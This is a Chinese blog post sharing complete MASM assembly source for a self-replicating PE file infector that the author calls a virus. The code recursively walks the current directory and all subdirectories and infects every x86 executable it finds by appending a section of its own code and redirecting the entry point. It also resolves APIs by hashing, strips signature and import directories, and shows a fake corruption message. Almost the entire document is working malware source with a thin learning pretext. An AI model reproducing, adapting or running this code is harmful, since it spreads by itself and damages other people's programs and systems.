写了一个添加节感染Intel X86 PE文件的程序(Virus)

为了加深一下PE文件的理解 就随手写了一个
其实ASM才是病毒的王道23333

不需要重定位 嘿嘿~

这个程序会感染当前目录以及所有子目录中的所有的Intel x86类型的PE文件

写的不是很好 大牛勿喷.


.686p
.model flat,stdcall
option casemap:none
include InfectPe.inc
.code
start:
	assume fs:nothing
	jmp Shell_
	;需要的变量
	Id				dd	0
	FileOep				dd	0
	JmpAddress			dd	0
	aShell				dd	0
	Kernel32			dd	0
	;需要的API地址
	_FindFirstFile			dd	0
	_FindNextFile			dd	0
	_LoadLibraryA			dd	0
	_CreateFileA			dd	0
	_MapViewOfFile			dd	0
	_CreateFileMappingA		dd	0
	_GetFileSize			dd	0
	_CloseHandle			dd	0
	_UnmapViewOfFile		dd	0
	_FindClose			dd	0
	_WriteFile			dd	0
	_MessageBox			dd	0
	_SetFilePointer			dd	0
	_VirtualAlloc			dd	0
	_VirtualFree			dd	0
	_GetCurrentDirectory		dd	0
	_SetTimer			dd	0
	_ReadFile			dd	0
	_Sleep				dd	0
	_KillTimer			dd	0
	NameOfKernel32			db	'kernel32.dll',0
	NameOfUser32			db	'user32.dll',0
	;API名字
	NameOfSleep			db	'Sleep',0
	NameOfKillTimer			db	'KillTimer',0
	NameOfSetTimer			db	'SetTimer',0
	NameOfReadFile			db	'ReadFile',0
	NameOfVirtualFree		db	'VirtualFree',0
	NameOfVirtualAlloc		db	'VirtualAlloc',0
	NameOfGetCurrentDirectory	db	'GetCurrentDirectoryA',0
	NameOfSetFilePointer		db	'SetFilePointer',0
	NameOfMessageBoxA		db	'MessageBoxA',0
	NameOfExitThread		db	'ExitProcess',0
	NameOfFindClose			db	'FindClose',0
	NameOfCreateFile		db	'CreateFileA',0
	NameOfMapViewOfFile		db	'MapViewOfFile',0
	NameOfCreateFileMappingA	db	'CreateFileMappingA',0
	NameOfGetFileSize		db	'GetFileSize',0
	NameOfCloseHandle		db	'CloseHandle',0
	NameOfUnmapViewOfFile		db	'UnmapViewOfFile',0
	NameOfFindFirstFile 		db	'FindFirstFileA',0
	NameOfWriteFile			db	'WriteFile',0
	NameOfFindNextFile		db	'FindNextFileA',0
	NameOfVirtualProtect		db	'VirtualProtect',0
	NameOfLoadLibraryA		db	'LoadLibraryA',0
	FileName			db	MAX_PATH dup(0)
	AddName				db	'\*.*',0
	AddName1			db	'\',0
	s				db	'.',0
	ss_				db	'..',0
	;Message
	db 'Hello World!',0dh,0ah
	db 'Coded by _KaQqi',0dh,0ah
	db '    11:28',0dh,0ah
	db '2017 - 2 - 7',0
Shell_:
	sub esp,4
	pushfd
	pushad
	call Shell
Shell:
	pop ebp ;Shell的地址
	sub ebp,Shell - start ;程序的起始地址
	;设置SEH链
	xor eax,eax
	xor eax,SehCallBack - start
	add eax,ebp
	sub esp,4
	xor edx,edx
	xor edx,dword ptr ss:[esp]
	xor dword ptr ss:[esp],edx
	xor dword ptr ss:[esp],eax
	sub esp,4
	xor eax,eax
	xor eax,dword ptr fs:[0]
	xor edx,edx
	xor edx,dword ptr ss:[esp]
	xor dword ptr ss:[esp],edx
	xor dword ptr ss:[esp],eax
	xor edx,edx
	xor edx,dword ptr fs:[0]
	xor dword ptr fs:[0],edx
	xor dword ptr fs:[0],esp
	;初始化
	push ebp
	call SHELLPAGE_EXECUTE_READWRITE
	mov [aShell - start + ebp],ebp
	call GetKernelBase
	mov eax,ebp
	add eax,NameOfLoadLibraryA - start
	push eax
	call GetKernelBase
	push eax
	call ShellGetProcAddress
	mov [_LoadLibraryA - start + ebp],eax
	mov eax,ebp
	add eax,NameOfKernel32 - start
	push eax
	mov eax,[_LoadLibraryA - start + ebp]
	call eax
	mov [Kernel32 - start + ebp],eax
	mov eax,ebp
	add eax,NameOfFindFirstFile - start
	push eax
	push [Kernel32 - start + ebp]
	call ShellGetProcAddress
	mov [_FindFirstFile - start + ebp],eax
	mov eax,ebp
	add eax,NameOfFindNextFile - start
	push eax
	push [Kernel32 - start + ebp]
	call ShellGetProcAddress
	mov [_FindNextFile - start + ebp],eax
	mov eax,ebp
	add eax,NameOfCreateFile - start
	push eax
	push [Kernel32 - start + ebp]
	call ShellGetProcAddress
	mov [_CreateFileA - start + ebp],eax
	mov eax,ebp
	add eax,NameOfGetFileSize - start
	push eax
	push [Kernel32 - start + ebp]
	call ShellGetProcAddress
	mov [_GetFileSize - start + ebp],eax
	mov eax,ebp
	add eax,NameOfCreateFileMappingA - start
	push eax
	push [Kernel32 - start + ebp]
	call ShellGetProcAddress
	mov [_CreateFileMappingA - start + ebp],eax
	mov eax,ebp
	add eax,NameOfMapViewOfFile - start
	push eax
	push [Kernel32 - start + ebp]
	call ShellGetProcAddress
	mov [_MapViewOfFile - start + ebp],eax
	mov eax,ebp
	add eax,NameOfUnmapViewOfFile - start
	push eax
	push [Kernel32 - start + ebp]
	call ShellGetProcAddress
	mov [_UnmapViewOfFile - start + ebp],eax
	mov eax,ebp
	add eax,NameOfCloseHandle - start
	push eax
	push [Kernel32 - start + ebp]
	call ShellGetProcAddress
	mov [_CloseHandle - start + ebp],eax
	mov eax,ebp
	add eax,NameOfFindClose - start
	push eax
	push [Kernel32 - start + ebp]
	call ShellGetProcAddress
	mov [_FindClose - start + ebp],eax
	mov eax,ebp
	add eax,NameOfMessageBoxA - start
	push eax
	mov eax,ebp
	add eax,NameOfUser32 - start
	push eax
	call dword ptr cs:[_LoadLibraryA - start + ebp]
	push eax
	call ShellGetProcAddress
	mov [_MessageBox - start + ebp],eax
	mov eax,ebp
	add eax,NameOfWriteFile - start
	push eax
	push [Kernel32 - start + ebp]
	call ShellGetProcAddress
	mov [_WriteFile - start + ebp],eax
	mov eax,ebp
	add eax,NameOfSetFilePointer - start
	push eax
	push [Kernel32 - start + ebp]
	call ShellGetProcAddress
	mov [_SetFilePointer - start + ebp],eax
	mov eax,ebp
	add eax,NameOfGetCurrentDirectory - start
	push eax
	push [Kernel32 - start + ebp]
	call ShellGetProcAddress
	mov [_GetCurrentDirectory - start + ebp],eax
	mov eax,ebp
	add eax,NameOfVirtualAlloc - start
	push eax
	push [Kernel32 - start + ebp]
	call ShellGetProcAddress
	mov [_VirtualAlloc - start + ebp],eax
	mov eax,ebp
	add eax,NameOfVirtualFree - start
	push eax
	push [Kernel32 - start + ebp]
	call ShellGetProcAddress
	mov [_VirtualFree - start + ebp],eax
	mov eax,ebp
	add eax,NameOfReadFile - start
	push eax
	push [Kernel32 - start + ebp]
	call ShellGetProcAddress
	mov [_ReadFile - start + ebp],eax
	mov eax,ebp
	add eax,NameOfSleep - start
	push eax
	push [Kernel32 - start + ebp]
	call ShellGetProcAddress
	mov [_Sleep - start + ebp],eax
	mov eax,ebp
	add eax,NameOfSetTimer - start
	push eax
	mov eax,ebp
	add eax,NameOfUser32 - start
	push eax
	call dword ptr cs:[_LoadLibraryA - start + ebp]
	push eax
	call ShellGetProcAddress
	mov [_SetTimer - start + ebp],eax
	mov eax,ebp
	add eax,NameOfKillTimer - start
	push eax
	mov eax,ebp
	add eax,NameOfUser32 - start
	push eax
	call dword ptr cs:[_LoadLibraryA - start + ebp]
	push eax
	call ShellGetProcAddress
	mov [_KillTimer - start + ebp],eax
	call ShellStart
	;准备返回
	mov eax,dword ptr cs:[FileOep - start + ebp]
	.if eax == NULL
		mov eax,ebp
		add eax,NameOfExitThread - start
		push eax
		push [Kernel32 - start + ebp]
		call ShellGetProcAddress
		mov [JmpAddress - start + ebp],eax
		push MB_OK
		push NULL
		lea eax,[END_MSG - start + ebp]
		push eax
		push NULL
		call dword ptr cs:[_MessageBox - start + ebp]
	.else
		;取出当前进程的ImageBase
		mov eax,dword ptr fs:[30h]
		mov eax,dword ptr ds:[eax + 8h]
		;得到OEP
		add eax,dword ptr cs:[FileOep - start + ebp]
		mov [JmpAddress - start + ebp],eax
	.endif
	;恢复SEH链
	xor edx,edx
	xor edx,dword ptr fs:[0]
	xor dword ptr fs:[0],edx
	xor edx,edx
	xor edx,dword ptr ss:[esp]
	xor dword ptr fs:[0],edx
	add esp,8
	add esp,40
	push dword ptr cs:[JmpAddress - start + ebp]
	sub esp,36
	popad
	popfd
	retn;返回
SehCallBack proc
	assume ebx:ptr CONTEXT
	mov ebx,dword ptr ss:[esp + 12] ;PCONTEXT参数
	xor eax,eax
	retn 16
SehCallBack endp
RtlGetAnsiStringLength proc lpString:DWORD
	LOCAL i:DWORD
	mov eax,i
	xor i,eax
	pushad
	mov edi,lpString
	mov eax,i
	jmp @
_Loop:
	inc i
	mov eax,i
@:
	cmp byte ptr ds:[edi + eax],NULL
	jnz _Loop
	popad
	mov eax,i
	ret
RtlGetAnsiStringLength endp
RtlCompareAnsiString proc ;比较两个ANSI字符串 相等返回1 不相等返回0 (stdcall)
	mov esi,dword ptr ss:[esp + 4]
	mov edi,dword ptr ss:[esp + 8]
	push ecx
	push esi
	call RtlGetAnsiStringLength
	push eax
	push edi
	call RtlGetAnsiStringLength
	mov ecx,eax
	pop eax
	xor eax,ecx
	cmove eax,ecx
	xor ebx,ebx
	xor ecx,eax
	mov ecx,eax
	cmovnz ecx,ebx
	repe cmpsb
	pushfd
	xor ebx,ebx
	inc ebx
	xor eax,eax
	popfd
	cmove eax,ebx
	pop ecx
	retn 8
RtlCompareAnsiString endp
ShellGetProcAddress proc hModule:DWORD,lpBuffer:DWORD
	LOCAL i:DWORD
	mov esi,hModule
	assume esi:ptr IMAGE_DOS_HEADER
	add esi,[esi].e_lfanew
	assume esi:ptr IMAGE_NT_HEADERS32
	mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress
	add esi,hModule
	assume esi:ptr IMAGE_EXPORT_DIRECTORY
	mov ecx,[esi].NumberOfNames ;导出函数的名字的个数
	mov edx,[esi].AddressOfNames
	add edx,hModule
	push esi
	mov i,0
_Loop:
	mov eax,i
	mov edi,dword ptr ds:[edx + eax * sizeof DWORD]
	add edi,hModule
	push edi
	push lpBuffer
	call RtlCompareAnsiString
	and eax,eax
	pushfd
	xor ebx,ebx
	popfd
	mov eax,ecx
	cmovnz ecx,ebx
	inc i ;计数
	test ecx,ecx
	jnz _Loop
	pop esi
	;得到导出函数序号
	mov edx,eax
	xor eax,eax
	mov ecx,[esi].NumberOfNames
	xor ecx,i
	je Return
	mov ecx,i
	mov edx,[esi].AddressOfNameOrdinals
	add edx,hModule
	xor eax,eax
	mov ax,word ptr ds:[edx + ecx * sizeof WORD]
	;取出导出函数的RVA
	dec eax
	mov edx,[esi].AddressOfFunctions
	add edx,hModule
	mov eax,dword ptr ds:[edx + eax * sizeof DWORD]
	;得到地址
	add eax,hModule
Return:
	assume esi:nothing
	ret
ShellGetProcAddress endp
SHELLPAGE_EXECUTE_READWRITE proc hModule:DWORD;修改代码段的权限为PAGE_EXECUTE_READWRITE
	LOCAL Old:DWORD
	mov eax,hModule
	add eax,NameOfVirtualProtect - start
	push eax
	call GetKernelBase
	push eax
	call ShellGetProcAddress
	lea edx,Old
	push edx
	push PAGE_EXECUTE_READWRITE
	push Shell_ - start
	push hModule
	call eax
	ret
SHELLPAGE_EXECUTE_READWRITE endp
GetKernelBase proc
	;摘自网络
	cld 
	xor edx,edx 
	mov edx,dword ptr fs:[edx + 30h]
	mov edx,dword ptr ds:[edx + 0Ch]
	mov edx,dword ptr ds:[edx + 14h]
next_mod:
	mov esi,dword ptr ds:[edx + 28h]
	push 24
	pop ecx
	xor edi,edi
loop_modname:
	xor eax,eax 
	lodsb 
	cmp al,'a'
	jl not_lowercase
	sub al,20h
not_lowercase:
	ror edi,13
	add edi,eax
	loop loop_modname 
	cmp edi,6A4ABC5Bh
	mov ebx,dword ptr ds:[edx + 10h]
	mov edx,dword ptr ds:[edx]
	jnz next_mod
	mov eax,ebx
	ret
GetKernelBase endp
ShellStart proc;Shell入口
	mov eax,ebp
	add eax,ThreadCallBack - start
	push eax
	push 1
	push 2017h
	push NULL
	call dword ptr cs:[_SetTimer - start + ebp]
	mov dword ptr ds:[Id - start + ebp],eax
	;延时
	push 500
	call dword ptr cs:[_Sleep - start + ebp]
	ret
ShellStart endp
ThreadCallBack proc
	call CallNext
CallNext: ;得到Shell入口
	pop edx
	sub edx,5
	sub edx,ThreadCallBack - start
	;销毁定时器
	push edx
	push dword ptr ds:[Id - start + edx]
	push NULL
	call dword ptr cs:[_KillTimer - start + edx]
	pop edx
	;先感染当前目录
	;获取当前程序的目录
	push edx
	push edx
	mov eax,FileName - start
	add eax,edx
	push eax
	push sizeof FileName
	call dword ptr cs:[_GetCurrentDirectory - start + edx]
	pop edx
	lea eax,MyFileCallBack
	sub eax,start
	add eax,edx
	push eax ;回调函数
	lea eax,[FileName - start + edx]
	push eax
	push edx
	call ShellFindFile
	pop edx
	ret
ThreadCallBack endp
_ZeroMemory proc Destination:DWORD,MemoryLength:DWORD
	pushad
	mov edx,Destination
	xor ecx,ecx
	.while ecx != MemoryLength
		mov al,byte ptr ds:[edx + ecx]
		xor byte ptr ds:[edx + ecx],al
		inc ecx
	.endw
	popad
	ret
_ZeroMemory endp
ShellFindFile proc hModule:DWORD,lpFileNameString:DWORD,CallBackFunction:DWORD
	LOCAL FindFileData:WIN32_FIND_DATA
	LOCAL FindHandle:DWORD
	LOCAL MyBool:BOOL
	LOCAL MyFile[MAX_PATH]:CHAR
	LOCAL File[MAX_PATH]:CHAR
	LOCAL MyFile1[MAX_PATH]:CHAR
	;指明通配符
	push lpFileNameString
	call RtlGetAnsiStringLength
	push eax ;长度
	push lpFileNameString
	lea eax,MyFile1
	push eax
	call RtlCopyAnsiString
	mov eax,hModule
	add eax,AddName - start
	push eax
	lea eax,MyFile1
	push eax
	call RtlAddAnsiString
	;第一个
	lea eax,FindFileData
	push eax
	lea eax,MyFile1
	push eax
	mov eax,hModule
	call dword ptr cs:[_FindFirstFile - start + eax]
	.if eax != INVALID_HANDLE_VALUE
		mov FindHandle,eax
		.repeat
			assume edx:ptr WIN32_FIND_DATA
			;过滤掉上一级目录
			lea edx,FindFileData
			lea ebx,[edx].cFileName
			mov eax,hModule
			add eax,s - start
			push eax
			push ebx
			call RtlCompareAnsiString
			xor eax,1
			je Next
			lea edx,FindFileData
			lea ebx,[edx].cFileName
			mov eax,hModule
			add eax,ss_ - start
			push eax
			push ebx
			call RtlCompareAnsiString
			xor eax,1
			je Next
			lea edx,FindFileData
			mov eax,[edx].dwFileAttributes
			and eax,FILE_ATTRIBUTE_DIRECTORY
			.if eax != NULL ;目录
				;下一个扫描路径
				push lpFileNameString
				call RtlGetAnsiStringLength
				push eax ;长度
				push lpFileNameString
				lea eax,File
				push eax
				call RtlCopyAnsiString
				mov eax,hModule
				add eax,AddName1 - start
				push eax
				lea eax,File
				push eax
				call RtlAddAnsiString
				lea edx,FindFileData
				lea eax,[edx].cFileName
				push eax
				lea eax,File
				push eax
				call RtlAddAnsiString
				push CallBackFunction
				lea eax,File
				push eax
				push hModule
				call ShellFindFile
			.else ;回调函数
				push lpFileNameString
				call RtlGetAnsiStringLength
				push eax ;长度
				push lpFileNameString
				lea eax,MyFile
				push eax
				call RtlCopyAnsiString	
				mov eax,hModule
				add eax,AddName1 - start
				push eax
				lea eax,MyFile
				push eax
				call RtlAddAnsiString
				lea edx,FindFileData
				lea eax,[edx].cFileName
				push eax
				lea eax,MyFile
				push eax
				call RtlAddAnsiString
				lea eax,MyFile
				push eax
				push hModule
				call CallBackFunction
			.endif
			assume edx:nothing
Next: ;循环尾
			lea eax,FindFileData
			push eax
			push FindHandle
			mov eax,hModule
			call dword ptr cs:[_FindNextFile - start + eax]
			mov MyBool,eax
		.until MyBool == FALSE
	.endif
RetNext:
	;返回
	push FindHandle
	mov eax,hModule
	call dword ptr cs:[_FindClose - start + eax]
	ret
ShellFindFile endp
MyFileCallBack proc hModule:DWORD,lpFileNameString:DWORD ;枚举文件的回调函数
	;感染文件
	LOCAL Written:DWORD
	LOCAL dwFileSize:DWORD
	LOCAL hFile:DWORD
	LOCAL hMap:DWORD
	LOCAL lpBuffer:DWORD
	LOCAL SectionAlignment:DWORD
	LOCAL FileAlignment:DWORD
	LOCAL nSec:WORD ;区块个数
	LOCAL PointerToRawData:DWORD
	LOCAL VirtualAddress:DWORD
	LOCAL dwShellSize:DWORD
	LOCAL AddressOfEntryPoint:DWORD ;入口点
	LOCAL IsShell:DWORD ;是否是本体
	LOCAL Overlay:DWORD ;附加数据
	LOCAL SizeOfOverlay:DWORD ;附加数据大小
	LOCAL Read:DWORD
	mov Overlay,NULL
	;获取Shell的大小
	mov eax,END_
	sub eax,start
	mov dwShellSize,eax
	;打开lpFileNameString指向的文件
	push NULL
	push FILE_ATTRIBUTE_NORMAL
	push OPEN_EXISTING
	push NULL
	push FILE_SHARE_READ
	mov eax,GENERIC_READ
	or eax,GENERIC_WRITE
	push eax
	push lpFileNameString
	mov eax,hModule
	call dword ptr cs:[_CreateFileA - start + eax]
	cmp eax,INVALID_HANDLE_VALUE
	je Exit_Ret
	mov hFile,eax ;文件句柄
	;获取文件的长度
	push NULL
	push eax
	mov eax,hModule
	call dword ptr cs:[_GetFileSize - start + eax]
	or eax,eax
	je Closed
	mov dwFileSize,eax
	;创建文件映射
	push NULL
	push dwFileSize
	push NULL
	push PAGE_READWRITE
	push NULL
	push hFile
	mov eax,hModule
	call dword ptr cs:[_CreateFileMappingA - start + eax]
	cmp eax,INVALID_HANDLE_VALUE
	je Closed
	mov hMap,eax
	;将文件映射到内存
	push dwFileSize
	push NULL
	push NULL
	mov eax,FILE_MAP_READ
	or eax,FILE_MAP_WRITE
	push eax
	push hMap
	mov eax,hModule
	call dword ptr cs:[_MapViewOfFile - start + eax]
	or eax,eax
	je CloseFileMapping
	mov lpBuffer,eax
	;PE文件?
	assume esi:ptr IMAGE_DOS_HEADER
	mov esi,lpBuffer
	cmp [esi].e_magic,IMAGE_DOS_SIGNATURE
	jnz __UnMapViewOfFile
	mov esi,lpBuffer
	add esi,[esi].e_lfanew
	assume esi:ptr IMAGE_NT_HEADERS32
	cmp [esi].Signature,IMAGE_NT_SIGNATURE
	jnz __UnMapViewOfFile
	;Intel x86 PE文件?
	cmp [esi].FileHeader.Machine,IMAGE_FILE_MACHINE_I386
	jnz __UnMapViewOfFile
	push esi
	push lpBuffer
	push hModule
	call IsInfected
	or eax,eax
	jnz __UnMapViewOfFile
	;PE文件区块个数
	mov ax,[esi].FileHeader.NumberOfSections
	mov nSec,ax
	or ax,ax
	je __UnMapViewOfFile
	;检测附加数据
	assume edi:ptr IMAGE_SECTION_HEADER
	lea edi,[esi].OptionalHeader
	xor eax,eax
	mov ax,[esi].FileHeader.SizeOfOptionalHeader
	add edi,eax
	xor eax,eax
	mov ax,nSec
	dec ax
	mov ebx,sizeof IMAGE_SECTION_HEADER
	mul ebx
	add edi,eax ;定位到最后一个区块
	mov eax,[edi].PointerToRawData
	add eax,[edi].SizeOfRawData
	.if eax < dwFileSize ;存在附加数据
		mov ebx,dwFileSize
		sub ebx,eax
		mov SizeOfOverlay,ebx
		;申请一块内存
		push PAGE_EXECUTE_READWRITE
		push MEM_COMMIT
		push SizeOfOverlay
		push NULL
		mov eax,hModule
		call dword ptr cs:[_VirtualAlloc - start + eax]
		mov Overlay,eax
		mov edx,[edi].PointerToRawData
		add edx,[edi].SizeOfRawData
		;移动到附加数据处
		push FILE_BEGIN
		push NULL
		push edx
		push hFile
		mov edx,hModule
		call dword ptr cs:[_SetFilePointer - start + edx]
		;保存附加数据
		push NULL
		lea eax,Read
		push eax
		push SizeOfOverlay
		push Overlay
		push hFile
		mov edx,hModule
		call dword ptr cs:[_ReadFile - start + edx]
	.endif
	;PE文件入口点
	mov eax,[esi].OptionalHeader.AddressOfEntryPoint
	mov AddressOfEntryPoint,eax
	;清除绑定输入表
	lea edi,[esi].OptionalHeader.DataDirectory
	lea edi,[edi + IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT * sizeof IMAGE_DATA_DIRECTORY]
	assume edi:ptr IMAGE_DATA_DIRECTORY
	xor eax,eax
	mov [edi].VirtualAddress,eax
	mov [edi].isize,eax
	;数字签名
	lea edi,[esi].OptionalHeader.DataDirectory
	lea edi,[edi + IMAGE_DIRECTORY_ENTRY_SECURITY * sizeof IMAGE_DATA_DIRECTORY]
	.if [edi].VirtualAddress != NULL
		;去掉DEP
		mov ax,[esi].OptionalHeader.DllCharacteristics
		and ax,IMAGE_DLLCHARACTERISTICS_NX_COMPAT
		mov [esi].OptionalHeader.DllCharacteristics,ax
	.endif
	xor eax,eax
	mov [edi].VirtualAddress,eax
	mov [edi].isize,eax
	;异常目录
	lea edi,[esi].OptionalHeader.DataDirectory
	lea edi,[edi + IMAGE_DIRECTORY_ENTRY_EXCEPTION * sizeof IMAGE_DATA_DIRECTORY]
	xor eax,eax
	mov [edi].VirtualAddress,eax
	mov [edi].isize,eax
	;PE对齐值
	mov eax,[esi].OptionalHeader.SectionAlignment
	mov SectionAlignment,eax
	mov eax,[esi].OptionalHeader.FileAlignment
	mov FileAlignment,eax
	;PE文件区块表
	assume edi:ptr IMAGE_SECTION_HEADER
	lea edi,[esi].OptionalHeader
	xor eax,eax
	mov ax,[esi].FileHeader.SizeOfOptionalHeader
	add edi,eax
	;最后一个
	xor eax,eax
	mov ax,nSec
	mov ebx,sizeof IMAGE_SECTION_HEADER
	mul ebx
	add edi,eax
	;清零
	push sizeof IMAGE_SECTION_HEADER
	push edi
	call _ZeroMemory
	;前一个区块
	mov eax,sizeof IMAGE_SECTION_HEADER
	sub edi,eax
	mov eax,[edi].PointerToRawData
	add eax,[edi].SizeOfRawData
	mov PointerToRawData,eax ;新区块的PointerToRawData
	mov eax,[edi].VirtualAddress
	add eax,[edi].Misc.VirtualSize
	mov VirtualAddress,eax ;新区块的VirtualAddress
	;后一个区块
	mov eax,sizeof IMAGE_SECTION_HEADER
	add edi,eax
	;对齐后的PointerToRawData
	push FileAlignment
	push PointerToRawData
	call PeAlign
	mov [edi].PointerToRawData,eax
	;对齐后的VirtualAddress
	push SectionAlignment
	push VirtualAddress
	call PeAlign
	mov [edi].VirtualAddress,eax
	;对齐后的SizeOfRawData
	push FileAlignment
	push dwShellSize
	call PeAlign
	mov [edi].SizeOfRawData,eax
	;对齐后的VirtualSize
	push SectionAlignment
	push dwShellSize
	call PeAlign
	mov [edi].Misc.VirtualSize,eax
	;保存对齐后的SizeOfRawData
	push FileAlignment
	push dwShellSize
	call PeAlign
	mov dwShellSize,eax
	;新区块的属性
	mov [edi].Characteristics,60000020h
	;新区块的名字
	rdtsc
	or eax,edx
	lea edx,[edi].Name1
	mov dword ptr ds:[edx],eax
	;对齐
	mov eax,[edi].VirtualAddress
	add eax,[edi].Misc.VirtualSize
	push SectionAlignment
	push eax
	call PeAlign
	mov [esi].OptionalHeader.SizeOfImage,eax
	inc [esi].FileHeader.NumberOfSections ;增加一个区块
	;更新入口点
	mov eax,hModule
	add eax,FileOep - start
	.if eax == NULL
		mov eax,AddressOfEntryPoint
		mov edx,hModule
		add edx,FileOep - start
		mov dword ptr ds:[edx],eax
	.else
		mov IsShell,12345678h
		mov eax,hModule
		add eax,FileOep - start
		push dword ptr ds:[eax] ;保存原OEP偏移
		mov eax,AddressOfEntryPoint
		mov edx,hModule
		add edx,FileOep - start
		mov dword ptr ds:[edx],eax
	.endif
	;移动到PointerToRawData处
	push FILE_BEGIN
	push NULL
	push PointerToRawData
	push hFile
	mov edx,hModule
	call dword ptr cs:[_SetFilePointer - start + edx]
	;把Shell写入文件
	push NULL
	lea eax,Written
	push eax
	push dwShellSize
	push hModule
	push hFile
	mov edx,hModule
	call dword ptr cs:[_WriteFile - start + edx]
	.if IsShell == 12345678h
		xor IsShell,12345678h
		mov eax,hModule
		add eax,FileOep - start
		pop dword ptr ds:[eax] ;恢复原OEP偏移
	.endif
	;更新入口点
	push SectionAlignment
	push VirtualAddress
	call PeAlign
	mov [esi].OptionalHeader.AddressOfEntryPoint,eax
	;写入附加数据
	.if Overlay != NULL
		;移动到文件尾
		push FILE_END
		push NULL
		push NULL
		push hFile
		mov edx,hModule
		call dword ptr cs:[_SetFilePointer - start + edx]
		;把附加数据写入文件
		push NULL
		lea eax,Written
		push eax
		push SizeOfOverlay
		push Overlay
		push hFile
		mov edx,hModule
		call dword ptr cs:[_WriteFile - start + edx]
		;释放内存
		push MEM_DECOMMIT
		push SizeOfOverlay
		push Overlay
		mov eax,hModule
		call dword ptr cs:[_VirtualFree - start + eax]
		mov Overlay,NULL
	.endif
	assume edi:nothing
	assume esi:nothing
	jmp __UnMapViewOfFile
__UnMapViewOfFile:
	;关闭文件映射
	push lpBuffer
	mov eax,hModule
	call dword ptr cs:[_UnmapViewOfFile - start + eax]
	jmp CloseFileMapping
CloseFileMapping:
	push hMap
	mov eax,hModule
	call dword ptr cs:[_CloseHandle - start + eax]
Closed:
	push hFile
	mov eax,hModule
	call dword ptr cs:[_CloseHandle - start + eax]
	jmp Exit_Ret
Exit_Ret:
	ret
MyFileCallBack endp
PeAlign proc Number:DWORD,dwAlign:DWORD
	mov ecx,dwAlign
	mov eax,Number
	xor edx,edx
	div ecx
	or edx,edx
	je Aligned
	inc eax
Aligned:
	mul ecx
	ret
PeAlign endp
RtlCopyAnsiString proc lpString:DWORD,lpString1:DWORD,dwLength:DWORD
	mov edi,lpString
	mov esi,lpString1
	mov ecx,dwLength
	rep movsb
	mov ecx,dwLength
	add ecx,lpString
	mov byte ptr ds:[ecx],0
	ret
RtlCopyAnsiString endp
RtlAddAnsiString proc lpString:DWORD,lpString1:DWORD
	LOCAL len:DWORD
	pushad
	push lpString
	call RtlGetAnsiStringLength
	push eax
	push lpString1
	call RtlGetAnsiStringLength
	mov len,eax
	pop eax
	add lpString,eax
	mov edi,lpString
	mov esi,lpString1
	mov ecx,len
	rep movsb
	mov edi,lpString
	add edi,len
	mov byte ptr ds:[edi],0
	popad
	ret
RtlAddAnsiString endp
RtlCompareMemoryByBytes proc lpBuffer:DWORD,lpBuffer1:DWORD,dwSize:DWORD ;比较两个内存 不相等返回0
	pushad
	xor eax,eax
	mov ecx,dwSize
	mov edi,lpBuffer
	mov esi,lpBuffer1
	repe cmpsb
	pushfd
	pushfd
	xor edx,edx
	popfd
	xor ecx,edx
	pushfd
	inc edx
	popfd
	cmove eax,edx
	xor edx,edx
	popfd
	popad
	cmovnz eax,edx
	ret
RtlCompareMemoryByBytes endp
IsInfected proc hModule:DWORD,lpBuffer:DWORD,pNtHeaders32:DWORD
	LOCAL dwReturn:DWORD
	LOCAL Oep:DWORD
	LOCAL Oep_VA:DWORD
	LOCAL nSec:WORD
	LOCAL FileAlignment:DWORD
	assume esi:ptr IMAGE_NT_HEADERS32
	mov esi,pNtHeaders32
	.if [esi].Signature != IMAGE_NT_SIGNATURE ;不是PE文件
		jmp Fail
Fail:
		mov eax,dwReturn
		xor dwReturn,eax
		jmp Return
	.endif
	;不是Intel x86的PE文件
	cmp [esi].FileHeader.Machine,IMAGE_FILE_MACHINE_I386
	jnz Fail
	;文件对齐值
	mov eax,[esi].OptionalHeader.FileAlignment
	mov FileAlignment,eax
	;区块个数
	mov ax,[esi].FileHeader.NumberOfSections
	mov nSec,ax
	;取出OEP
	mov eax,[esi].OptionalHeader.AddressOfEntryPoint
	mov Oep,eax
	;计算出OEP在文件中的偏移
	assume edi:ptr IMAGE_SECTION_HEADER
	;找出EP区段
	lea edi,[esi].OptionalHeader
	xor eax,eax
	mov ax,[esi].FileHeader.SizeOfOptionalHeader
	add edi,eax
	xor eax,eax
	.repeat
		mov ebx,[edi].VirtualAddress
		.if Oep >= ebx
			add ebx,[edi].Misc.VirtualSize
			cmp ebx,Oep
			ja Next
		.endif
		add edi,sizeof IMAGE_SECTION_HEADER
		inc ax
	.until ax >= nSec
Next:
	;RVA -> RAW
	push FileAlignment
	push [edi].PointerToRawData
	call PeAlign
	mov ebx,[edi].VirtualAddress
	sub ebx,Oep
	neg ebx
	add eax,ebx
	mov Oep,eax
	mov Oep_VA,eax
	mov eax,lpBuffer
	add Oep_VA,eax
	;和Shell对比 不相等就说明没被感染
	push 5
	push Oep_VA
	push hModule
	call RtlCompareMemoryByBytes ;比较前五个字节
	or eax,eax
	je Fail
	;剩下的代码
	add Oep_VA,Shell_ - start
	add hModule,Shell_ - start
	push END_ - Shell_
	push Oep_VA
	push hModule
	call RtlCompareMemoryByBytes ;比较剩下的代码
	or eax,eax
	je Fail
	mov dwReturn,1
	assume edi:nothing
	assume esi:nothing
	jmp Return
Return:
	xor eax,eax
	xor eax,dwReturn
	ret
IsInfected endp
END_MSG:
	db 'File corrupted!. This program has been manipulated and maybe',0ah,0dh
	db 'it is infected by a Virus or cracked. This file will not work anymore.',0
END_:
	retf
end start
end


你可能感兴趣的:(PE文件)